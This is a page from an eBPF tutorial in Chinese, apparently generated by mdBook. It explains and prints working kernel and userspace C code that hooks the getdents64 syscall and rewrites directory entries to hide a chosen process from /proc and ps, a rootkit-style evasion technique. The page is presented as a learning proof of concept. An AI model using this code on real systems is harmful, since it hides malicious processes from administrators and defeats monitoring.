Files
bpf-developer-tutorial/24-hide/index.html

561 lines
40 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!DOCTYPE HTML>
<html lang="en" class="sidebar-visible no-js light">
<head>
<!-- Book generated using mdBook -->
<meta charset="UTF-8">
<title>使用 eBPF 隐藏进程或文件信息 - bpf-developer-tutorial</title>
<!-- Custom HTML head -->
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="theme-color" content="#ffffff" />
<link rel="icon" href="../favicon.svg">
<link rel="shortcut icon" href="../favicon.png">
<link rel="stylesheet" href="../css/variables.css">
<link rel="stylesheet" href="../css/general.css">
<link rel="stylesheet" href="../css/chrome.css">
<link rel="stylesheet" href="../css/print.css" media="print">
<!-- Fonts -->
<link rel="stylesheet" href="../FontAwesome/css/font-awesome.css">
<link rel="stylesheet" href="../fonts/fonts.css">
<!-- Highlight.js Stylesheets -->
<link rel="stylesheet" href="../highlight.css">
<link rel="stylesheet" href="../tomorrow-night.css">
<link rel="stylesheet" href="../ayu-highlight.css">
<!-- Custom theme stylesheets -->
</head>
<body>
<div id="body-container">
<!-- Provide site root to javascript -->
<script>
var path_to_root = "../";
var default_theme = window.matchMedia("(prefers-color-scheme: dark)").matches ? "navy" : "light";
</script>
<!-- Work around some values being stored in localStorage wrapped in quotes -->
<script>
try {
var theme = localStorage.getItem('mdbook-theme');
var sidebar = localStorage.getItem('mdbook-sidebar');
if (theme.startsWith('"') && theme.endsWith('"')) {
localStorage.setItem('mdbook-theme', theme.slice(1, theme.length - 1));
}
if (sidebar.startsWith('"') && sidebar.endsWith('"')) {
localStorage.setItem('mdbook-sidebar', sidebar.slice(1, sidebar.length - 1));
}
} catch (e) { }
</script>
<!-- Set the theme before any content is loaded, prevents flash -->
<script>
var theme;
try { theme = localStorage.getItem('mdbook-theme'); } catch(e) { }
if (theme === null || theme === undefined) { theme = default_theme; }
var html = document.querySelector('html');
html.classList.remove('no-js')
html.classList.remove('light')
html.classList.add(theme);
html.classList.add('js');
</script>
<!-- Hide / unhide sidebar before it is displayed -->
<script>
var html = document.querySelector('html');
var sidebar = null;
if (document.body.clientWidth >= 1080) {
try { sidebar = localStorage.getItem('mdbook-sidebar'); } catch(e) { }
sidebar = sidebar || 'visible';
} else {
sidebar = 'hidden';
}
html.classList.remove('sidebar-visible');
html.classList.add("sidebar-" + sidebar);
</script>
<nav id="sidebar" class="sidebar" aria-label="Table of contents">
<div class="sidebar-scrollbox">
<ol class="chapter"><li class="chapter-item expanded affix "><li class="part-title">eBPF 实践教程:基于 libbpf 和 CO-RE</li><li class="chapter-item expanded "><a href="../0-introduce/index.html"><strong aria-hidden="true">1.</strong> 介绍 eBPF 的基本概念、常见的开发工具</a></li><li class="chapter-item expanded "><a href="../1-helloworld/index.html"><strong aria-hidden="true">2.</strong> Hello World基本框架和开发流程</a></li><li class="chapter-item expanded "><a href="../2-kprobe-unlink/index.html"><strong aria-hidden="true">3.</strong> 在 eBPF 中使用 kprobe 监测捕获 unlink 系统调用</a></li><li class="chapter-item expanded "><a href="../3-fentry-unlink/index.html"><strong aria-hidden="true">4.</strong> 在 eBPF 中使用 fentry 监测捕获 unlink 系统调用</a></li><li class="chapter-item expanded "><a href="../4-opensnoop/index.html"><strong aria-hidden="true">5.</strong> 在 eBPF 中捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid</a></li><li class="chapter-item expanded "><a href="../5-uprobe-bashreadline/index.html"><strong aria-hidden="true">6.</strong> 在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用</a></li><li class="chapter-item expanded "><a href="../6-sigsnoop/index.html"><strong aria-hidden="true">7.</strong> 捕获进程发送信号的系统调用集合,使用 hash map 保存状态</a></li><li class="chapter-item expanded "><a href="../7-execsnoop/index.html"><strong aria-hidden="true">8.</strong> 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出</a></li><li class="chapter-item expanded "><a href="../8-exitsnoop/index.html"><strong aria-hidden="true">9.</strong> 在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出</a></li><li class="chapter-item expanded "><a href="../9-runqlat/index.html"><strong aria-hidden="true">10.</strong> 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度</a></li><li class="chapter-item expanded "><a href="../10-hardirqs/index.html"><strong aria-hidden="true">11.</strong> 在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件</a></li><li class="chapter-item expanded "><a href="../11-bootstrap/index.html"><strong aria-hidden="true">12.</strong> 在 eBPF 中使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用</a></li><li class="chapter-item expanded "><a href="../13-tcpconnlat/index.html"><strong aria-hidden="true">13.</strong> 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时</a></li><li class="chapter-item expanded "><a href="../13-tcpconnlat/tcpconnlat.html"><strong aria-hidden="true">14.</strong> 编写 eBPF 程序 tcpconnlat 测量 tcp 连接延时</a></li><li class="chapter-item expanded "><a href="../14-tcpstates/index.html"><strong aria-hidden="true">15.</strong> 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时</a></li><li class="chapter-item expanded "><a href="../15-javagc/index.html"><strong aria-hidden="true">16.</strong> 使用 USDT 捕获用户态 Java GC 事件耗时</a></li><li class="chapter-item expanded "><a href="../16-memleak/index.html"><strong aria-hidden="true">17.</strong> 编写 eBPF 程序 Memleak 监控内存泄漏</a></li><li class="chapter-item expanded "><a href="../17-biopattern/index.html"><strong aria-hidden="true">18.</strong> 编写 eBPF 程序 Biopattern: 统计随机/顺序磁盘 I/O</a></li><li class="chapter-item expanded "><a href="../18-further-reading/index.html"><strong aria-hidden="true">19.</strong> 更多的参考资料</a></li><li class="chapter-item expanded "><a href="../19-lsm-connect/index.html"><strong aria-hidden="true">20.</strong> 使用 LSM 进行安全检测防御</a></li><li class="chapter-item expanded "><a href="../20-tc/index.html"><strong aria-hidden="true">21.</strong> 使用 eBPF 进行 tc 流量控制</a></li><li class="chapter-item expanded affix "><li class="part-title">eBPF 高级特性与进阶主题</li><li class="chapter-item expanded "><a href="../22-android/index.html"><strong aria-hidden="true">22.</strong> 在 Android 上使用 eBPF 程序</a></li><li class="chapter-item expanded "><a href="../23-http/index.html"><strong aria-hidden="true">23.</strong> 使用 eBPF 追踪 HTTP 请求或其他七层协议</a></li><li class="chapter-item expanded "><a href="../29-sockops/index.html"><strong aria-hidden="true">24.</strong> 使用 sockops 加速网络请求转发</a></li><li class="chapter-item expanded "><a href="../24-hide/index.html" class="active"><strong aria-hidden="true">25.</strong> 使用 eBPF 隐藏进程或文件信息</a></li><li class="chapter-item expanded "><a href="../25-signal/index.html"><strong aria-hidden="true">26.</strong> 使用 bpf_send_signal 发送信号终止进程</a></li><li class="chapter-item expanded "><a href="../26-sudo/index.html"><strong aria-hidden="true">27.</strong> 使用 eBPF 添加 sudo 用户</a></li><li class="chapter-item expanded "><a href="../27-replace/index.html"><strong aria-hidden="true">28.</strong> 使用 eBPF 替换任意程序读取或写入的文本</a></li><li class="chapter-item expanded "><a href="../28-detach/index.html"><strong aria-hidden="true">29.</strong> BPF的生命周期使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序</a></li><li class="chapter-item expanded affix "><li class="part-title">bcc tutorial</li><li class="chapter-item expanded "><a href="../bcc-documents/kernel-versions.html"><strong aria-hidden="true">30.</strong> BPF Features by Linux Kernel Version</a></li><li class="chapter-item expanded "><a href="../bcc-documents/kernel_config.html"><strong aria-hidden="true">31.</strong> Kernel Configuration for BPF Features</a></li><li class="chapter-item expanded "><a href="../bcc-documents/reference_guide.html"><strong aria-hidden="true">32.</strong> bcc Reference Guide</a></li><li class="chapter-item expanded "><a href="../bcc-documents/special_filtering.html"><strong aria-hidden="true">33.</strong> Special Filtering</a></li><li class="chapter-item expanded "><a href="../bcc-documents/tutorial.html"><strong aria-hidden="true">34.</strong> bcc Tutorial</a></li><li class="chapter-item expanded "><a href="../bcc-documents/tutorial_bcc_python_developer.html"><strong aria-hidden="true">35.</strong> bcc Python Developer Tutorial</a></li></ol>
</div>
<div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
</nav>
<div id="page-wrapper" class="page-wrapper">
<div class="page">
<div id="menu-bar-hover-placeholder"></div>
<div id="menu-bar" class="menu-bar sticky bordered">
<div class="left-buttons">
<button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
<i class="fa fa-bars"></i>
</button>
<button id="theme-toggle" class="icon-button" type="button" title="Change theme" aria-label="Change theme" aria-haspopup="true" aria-expanded="false" aria-controls="theme-list">
<i class="fa fa-paint-brush"></i>
</button>
<ul id="theme-list" class="theme-popup" aria-label="Themes" role="menu">
<li role="none"><button role="menuitem" class="theme" id="light">Light</button></li>
<li role="none"><button role="menuitem" class="theme" id="rust">Rust</button></li>
<li role="none"><button role="menuitem" class="theme" id="coal">Coal</button></li>
<li role="none"><button role="menuitem" class="theme" id="navy">Navy</button></li>
<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu</button></li>
</ul>
<button id="search-toggle" class="icon-button" type="button" title="Search. (Shortkey: s)" aria-label="Toggle Searchbar" aria-expanded="false" aria-keyshortcuts="S" aria-controls="searchbar">
<i class="fa fa-search"></i>
</button>
</div>
<h1 class="menu-title">bpf-developer-tutorial</h1>
<div class="right-buttons">
<a href="../print.html" title="Print this book" aria-label="Print this book">
<i id="print-button" class="fa fa-print"></i>
</a>
</div>
</div>
<div id="search-wrapper" class="hidden">
<form id="searchbar-outer" class="searchbar-outer">
<input type="search" id="searchbar" name="searchbar" placeholder="Search this book ..." aria-controls="searchresults-outer" aria-describedby="searchresults-header">
</form>
<div id="searchresults-outer" class="searchresults-outer hidden">
<div id="searchresults-header" class="searchresults-header"></div>
<ul id="searchresults">
</ul>
</div>
</div>
<!-- Apply ARIA attributes after the sidebar and the sidebar toggle button are added to the DOM -->
<script>
document.getElementById('sidebar-toggle').setAttribute('aria-expanded', sidebar === 'visible');
document.getElementById('sidebar').setAttribute('aria-hidden', sidebar !== 'visible');
Array.from(document.querySelectorAll('#sidebar a')).forEach(function(link) {
link.setAttribute('tabIndex', sidebar === 'visible' ? 0 : -1);
});
</script>
<div id="content" class="content">
<main>
<h1 id="ebpf-开发实践使用-ebpf-隐藏进程或文件信息"><a class="header" href="#ebpf-开发实践使用-ebpf-隐藏进程或文件信息">eBPF 开发实践:使用 eBPF 隐藏进程或文件信息</a></h1>
<p>eBPF扩展的伯克利数据包过滤器是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。</p>
<p>在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。</p>
<h2 id="背景知识与实现机制"><a class="header" href="#背景知识与实现机制">背景知识与实现机制</a></h2>
<p>&quot;进程隐藏&quot; 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中这种技术都可能被应用。具体来说Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。<code>ps</code> 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 <code>ps</code> 命令等检测手段“隐身”。</p>
<p>要实现进程隐藏,关键在于操作 <code>/proc/</code> 目录。在 Linux 中,<code>getdents64</code> 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 <code>bpf_probe_write_user</code> 功能,它可以修改用户空间的内存,因此能用来修改 <code>getdents64</code> 返回的结果。</p>
<p>下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。</p>
<h3 id="内核态-ebpf-程序实现"><a class="header" href="#内核态-ebpf-程序实现">内核态 eBPF 程序实现</a></h3>
<p>接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分:</p>
<pre><code class="language-c">// SPDX-License-Identifier: BSD-3-Clause
#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;common.h&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
// Ringbuffer Map to pass messages from kernel to user
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(&quot;.maps&quot;);
// Map to fold the dents buffer addresses
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_buffs SEC(&quot;.maps&quot;);
// Map used to enable searching through the
// data in a loop
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, int);
} map_bytes_read SEC(&quot;.maps&quot;);
// Map with address of actual
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, size_t);
__type(value, long unsigned int);
} map_to_patch SEC(&quot;.maps&quot;);
// Map to hold program tail calls
struct {
__uint(type, BPF_MAP_TYPE_PROG_ARRAY);
__uint(max_entries, 5);
__type(key, __u32);
__type(value, __u32);
} map_prog_array SEC(&quot;.maps&quot;);
</code></pre>
<p>我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 &quot;vmlinux.h&quot;&quot;bpf_helpers.h&quot;&quot;bpf_tracing.h&quot;&quot;bpf_core_read.h&quot;。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。</p>
<ul>
<li>&quot;vmlinux.h&quot; 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件eBPF 程序可以访问内核的数据结构。</li>
<li>&quot;bpf_helpers.h&quot; 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手helper函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。</li>
<li>&quot;bpf_tracing.h&quot; 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点tracepoint的操作。</li>
<li>&quot;bpf_core_read.h&quot; 头文件提供了一组用于从内核读取数据的宏和函数。</li>
</ul>
<p>程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。</p>
<p>其中,&quot;rb&quot; 是一个 Ringbuffer 类型的 map它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。</p>
<p>&quot;map_buffs&quot; 是一个 Hash 类型的 map它用于存储目录项dentry的缓冲区地址。</p>
<p>&quot;map_bytes_read&quot; 是另一个 Hash 类型的 map它用于在数据循环中启用搜索。</p>
<p>&quot;map_to_patch&quot; 是另一个 Hash 类型的 map存储了需要被修改的目录项dentry的地址。</p>
<p>&quot;map_prog_array&quot; 是一个 Prog Array 类型的 map它用于保存程序的尾部调用。</p>
<p>程序中的 &quot;target_ppid&quot;&quot;pid_to_hide_len&quot;&quot;pid_to_hide&quot; 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。</p>
<p>接下来的代码部分,程序定义了一个名为 &quot;linux_dirent64&quot; 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,&quot;handle_getdents_enter&quot;&quot;handle_getdents_exit&quot;,这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。</p>
<pre><code class="language-c">
// Optional Target Parent PID
const volatile int target_ppid = 0;
// These store the string represenation
// of the PID to hide. This becomes the name
// of the folder in /proc/
const volatile int pid_to_hide_len = 0;
const volatile char pid_to_hide[max_pid_len];
// struct linux_dirent64 {
// u64 d_ino; /* 64-bit inode number */
// u64 d_off; /* 64-bit offset to next structure */
// unsigned short d_reclen; /* Size of this dirent */
// unsigned char d_type; /* File type */
// char d_name[]; /* Filename (null-terminated) */ };
// int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
SEC(&quot;tp/syscalls/sys_enter_getdents64&quot;)
int handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
// Check if we're a process thread of interest
// if target_ppid is 0 then we target all pids
if (target_ppid != 0) {
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
int ppid = BPF_CORE_READ(task, real_parent, tgid);
if (ppid != target_ppid) {
return 0;
}
}
int pid = pid_tgid &gt;&gt; 32;
unsigned int fd = ctx-&gt;args[0];
unsigned int buff_count = ctx-&gt;args[2];
// Store params in map for exit function
struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx-&gt;args[1];
bpf_map_update_elem(&amp;map_buffs, &amp;pid_tgid, &amp;dirp, BPF_ANY);
return 0;
}
</code></pre>
<p>在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 <code>getdents64</code> 系统调用的入口处进行处理。</p>
<p>我们首先声明了几个全局的变量。其中 <code>target_ppid</code> 代表我们要关注的目标父进程的 PID。如果这个值为 0那么我们将关注所有的进程。<code>pid_to_hide_len</code><code>pid_to_hide</code> 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 <code>/proc/</code> 目录下的一个文件夹的名称,因此被隐藏的进程在 <code>/proc/</code> 目录下将无法被看到。</p>
<p>接下来,我们声明了一个名为 <code>linux_dirent64</code> 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。</p>
<p>然后是 <code>getdents64</code> 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。</p>
<p>随后的部分是 eBPF 程序的具体实现。我们在 <code>getdents64</code> 系统调用的入口处定义了一个名为 <code>handle_getdents_enter</code> 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID然后检查这个进程是否是我们关注的进程。如果我们设置了 <code>target_ppid</code>,那么我们就只关注那些父进程的 PID 为 <code>target_ppid</code> 的进程。如果 <code>target_ppid</code> 为 0我们就关注所有进程。</p>
<p>在确认了当前进程是我们关注的进程之后,我们将 <code>getdents64</code> 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 <code>getdents64</code> 系统调用的第二个参数,它是一个指向 <code>linux_dirent64</code> 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 <code>map_buffs</code> 这个 map 中。</p>
<p>至此,我们完成了 <code>getdents64</code> 系统调用入口处的处理。在系统调用返回时,我们将会在 <code>handle_getdents_exit</code> 函数中,对目录项进行修改,以实现进程隐藏。</p>
<p>在接下来的代码段中,我们将要实现在 <code>getdents64</code> 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。</p>
<p>我们首先定义了一个名为 <code>handle_getdents_exit</code> 的函数,它将在 <code>getdents64</code> 系统调用返回时被调用。</p>
<pre><code class="language-c">
SEC(&quot;tp/syscalls/sys_exit_getdents64&quot;)
int handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)
{
size_t pid_tgid = bpf_get_current_pid_tgid();
int total_bytes_read = ctx-&gt;ret;
// if bytes_read is 0, everything's been read
if (total_bytes_read &lt;= 0) {
return 0;
}
// Check we stored the address of the buffer from the syscall entry
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&amp;map_buffs, &amp;pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// All of this is quite complex, but basically boils down to
// Calling 'handle_getdents_exit' in a loop to iterate over the file listing
// in chunks of 200, and seeing if a folder with the name of our pid is in there.
// If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual
// patching
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp = 0;
int pid = pid_tgid &gt;&gt; 32;
short unsigned int d_reclen = 0;
char filename[max_pid_len];
unsigned int bpos = 0;
unsigned int *pBPOS = bpf_map_lookup_elem(&amp;map_bytes_read, &amp;pid_tgid);
if (pBPOS != 0) {
bpos = *pBPOS;
}
for (int i = 0; i &lt; 200; i ++) {
if (bpos &gt;= total_bytes_read) {
break;
}
dirp = (struct linux_dirent64 *)(buff_addr+bpos);
bpf_probe_read_user(&amp;d_reclen, sizeof(d_reclen), &amp;dirp-&gt;d_reclen);
bpf_probe_read_user_str(&amp;filename, pid_to_hide_len, dirp-&gt;d_name);
int j = 0;
for (j = 0; j &lt; pid_to_hide_len; j++) {
if (filename[j] != pid_to_hide[j]) {
break;
}
}
if (j == pid_to_hide_len) {
// ***********
// We've found the folder!!!
// Jump to handle_getdents_patch so we can remove it!
// ***********
bpf_map_delete_elem(&amp;map_bytes_read, &amp;pid_tgid);
bpf_map_delete_elem(&amp;map_buffs, &amp;pid_tgid);
bpf_tail_call(ctx, &amp;map_prog_array, PROG_02);
}
bpf_map_update_elem(&amp;map_to_patch, &amp;pid_tgid, &amp;dirp, BPF_ANY);
bpos += d_reclen;
}
// If we didn't find it, but there's still more to read,
// jump back the start of this function and keep looking
if (bpos &lt; total_bytes_read) {
bpf_map_update_elem(&amp;map_bytes_read, &amp;pid_tgid, &amp;bpos, BPF_ANY);
bpf_tail_call(ctx, &amp;map_prog_array, PROG_01);
}
bpf_map_delete_elem(&amp;map_bytes_read, &amp;pid_tgid);
bpf_map_delete_elem(&amp;map_buffs, &amp;pid_tgid);
return 0;
}
</code></pre>
<p>在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID然后检查系统调用是否读取到了目录的内容。如果没有读取到内容我们就直接返回。</p>
<p>然后我们从 <code>map_buffs</code> 这个 map 中获取 <code>getdents64</code> 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。</p>
<p>接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了我们就用 <code>bpf_tail_call</code> 函数跳转到 <code>handle_getdents_patch</code> 函数,进行实际的隐藏操作。</p>
<pre><code class="language-c">SEC(&quot;tp/syscalls/sys_exit_getdents64&quot;)
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
// Only patch if we've already checked and found our pid's folder to hide
size_t pid_tgid = bpf_get_current_pid_tgid();
long unsigned int* pbuff_addr = bpf_map_lookup_elem(&amp;map_to_patch, &amp;pid_tgid);
if (pbuff_addr == 0) {
return 0;
}
// Unlink target, by reading in previous linux_dirent64 struct,
// and setting it's d_reclen to cover itself and our target.
// This will make the program skip over our folder.
long unsigned int buff_addr = *pbuff_addr;
struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;
short unsigned int d_reclen_previous = 0;
bpf_probe_read_user(&amp;d_reclen_previous, sizeof(d_reclen_previous), &amp;dirp_previous-&gt;d_reclen);
struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);
short unsigned int d_reclen = 0;
bpf_probe_read_user(&amp;d_reclen, sizeof(d_reclen), &amp;dirp-&gt;d_reclen);
// Debug print
char filename[max_pid_len];
bpf_probe_read_user_str(&amp;filename, pid_to_hide_len, dirp_previous-&gt;d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk(&quot;[PID_HIDE] filename previous %s\n&quot;, filename);
bpf_probe_read_user_str(&amp;filename, pid_to_hide_len, dirp-&gt;d_name);
filename[pid_to_hide_len-1] = 0x00;
bpf_printk(&quot;[PID_HIDE] filename next one %s\n&quot;, filename);
// Attempt to overwrite
short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
long ret = bpf_probe_write_user(&amp;dirp_previous-&gt;d_reclen, &amp;d_reclen_new, sizeof(d_reclen_new));
// Send an event
struct event *e;
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (e) {
e-&gt;success = (ret == 0);
e-&gt;pid = (pid_tgid &gt;&gt; 32);
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
bpf_ringbuf_submit(e, 0);
}
bpf_map_delete_elem(&amp;map_to_patch, &amp;pid_tgid);
return 0;
}
</code></pre>
<p><code>handle_getdents_patch</code> 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容并且修改 <code>d_reclen</code> 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。</p>
<p>在这个过程中,我们用到了 <code>bpf_probe_read_user</code><code>bpf_probe_read_user_str</code><code>bpf_probe_write_user</code> 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。</p>
<p>在我们完成隐藏操作后,我们会向一个名为 <code>rb</code> 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 <code>bpf_ringbuf_reserve</code> 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 <code>bpf_ringbuf_submit</code> 函数将事件提交到缓冲区。</p>
<p>最后,我们清理了之前保存在 map 中的数据,并返回。</p>
<p>这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。</p>
<h2 id="用户态-ebpf-程序实现"><a class="header" href="#用户态-ebpf-程序实现">用户态 eBPF 程序实现</a></h2>
<p>我们在用户态的 eBPF 程序中主要进行了以下几个操作:</p>
<ol>
<li>打开 eBPF 程序。</li>
<li>设置我们想要隐藏的进程的 PID。</li>
<li>验证并加载 eBPF 程序。</li>
<li>等待并处理由 eBPF 程序发送的事件。</li>
</ol>
<p>首先,我们打开了 eBPF 程序。这个过程是通过调用 <code>pidhide_bpf__open</code> 函数实现的。如果这个过程失败了,我们就直接返回。</p>
<pre><code class="language-c"> skel = pidhide_bpf__open();
if (!skel)
{
fprintf(stderr, &quot;Failed to open BPF program: %s\n&quot;, strerror(errno));
return 1;
}
</code></pre>
<p>接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 <code>rodata</code> 区域实现的。默认情况下,我们隐藏的是当前进程。</p>
<pre><code class="language-c"> char pid_to_hide[10];
if (env.pid_to_hide == 0)
{
env.pid_to_hide = getpid();
}
sprintf(pid_to_hide, &quot;%d&quot;, env.pid_to_hide);
strncpy(skel-&gt;rodata-&gt;pid_to_hide, pid_to_hide, sizeof(skel-&gt;rodata-&gt;pid_to_hide));
skel-&gt;rodata-&gt;pid_to_hide_len = strlen(pid_to_hide) + 1;
skel-&gt;rodata-&gt;target_ppid = env.target_ppid;
</code></pre>
<p>然后,我们验证并加载 eBPF 程序。这个过程是通过调用 <code>pidhide_bpf__load</code> 函数实现的。如果这个过程失败了,我们就进行清理操作。</p>
<pre><code class="language-c"> err = pidhide_bpf__load(skel);
if (err)
{
fprintf(stderr, &quot;Failed to load and verify BPF skeleton\n&quot;);
goto cleanup;
}
</code></pre>
<p>最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 <code>ring_buffer__poll</code> 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 <code>handle_event</code> 函数来处理这个事件。</p>
<pre><code class="language-c">printf(&quot;Successfully started!\n&quot;);
printf(&quot;Hiding PID %d\n&quot;, env.pid_to_hide);
while (!exiting)
{
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR)
{
err = 0;
break;
}
if (err &lt; 0)
{
printf(&quot;Error polling perf buffer: %d\n&quot;, err);
break;
}
}
</code></pre>
<p><code>handle_event</code> 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 <code>event</code> 结构体,然后根据 <code>success</code> 字段判断这个事件是否表示成功隐藏了一个进程,最后打</p>
<p>印相应的消息。</p>
<pre><code class="language-c">static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
if (e-&gt;success)
printf(&quot;Hid PID from program %d (%s)\n&quot;, e-&gt;pid, e-&gt;comm);
else
printf(&quot;Failed to hide PID from program %d (%s)\n&quot;, e-&gt;pid, e-&gt;comm);
return 0;
}
</code></pre>
<p>这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。</p>
<p>完整源代码:<a href="https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide">https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide</a></p>
<blockquote>
<p>本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。</p>
</blockquote>
<h2 id="编译运行隐藏-pid"><a class="header" href="#编译运行隐藏-pid">编译运行,隐藏 PID</a></h2>
<p>首先,我们需要编译 eBPF 程序:</p>
<pre><code class="language-bash">make
</code></pre>
<p>然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令:</p>
